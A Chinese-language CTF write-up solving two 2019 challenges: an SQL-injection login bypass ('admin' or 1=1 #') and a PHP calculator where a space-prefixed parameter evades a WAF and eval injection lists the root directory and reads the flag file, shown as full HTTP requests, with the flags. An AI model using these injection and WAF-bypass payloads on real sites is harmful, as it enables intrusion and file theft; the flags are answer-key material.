极客大挑战 2019 EasySQL

访问页面

使用万能密码admin' or 1=1 #获取到flag,BP中小将空格和#进行url编码。

flag{b13702f0-8ac7-4d95-bd84-ec597691f349}

RoarCTF 2019 Easy Calc

这题目还真是第一次见,这道题布置了一个容器级(nginx)的waf和代码级的黑名单策略,waf过滤了所有的字母和绝大多数符号,所以第一步一定是过waf。

首先解释一下PHP的字符串解析特性

这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42″+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)

利用php在接受参数时的特点,只需要在变量前添加一个不可见字符,waf不对此变量进行过滤。

如下图使用%20num%20=1+1即可绕过waf,题目绕过waf后给出了题源码如下。

从源码可以看到黑名单对一些字进行了过滤,如果有黑名单的字符,直接die,没有,使用eval命令执行输入的代码,答案就很显而易见了,使用下图流量包可获取根目录列表

GET /calc.php?%20num=1;var_dump(scandir(chr(47))) HTTP/1.1
Host: node3.buuoj.cn:27951
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://node3.buuoj.cn:27951/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: _ga=GA1.2.1459160171.1590285202
Connection: close

使用下图流量包获取flag值。

GET /calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) HTTP/1.1
Host: node3.buuoj.cn:27951
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://node3.buuoj.cn:27951/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: _ga=GA1.2.1459160171.1590285202
Connection: close

flag{87268ccc-2ca4-445a-882d-cd765d893f9b}

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注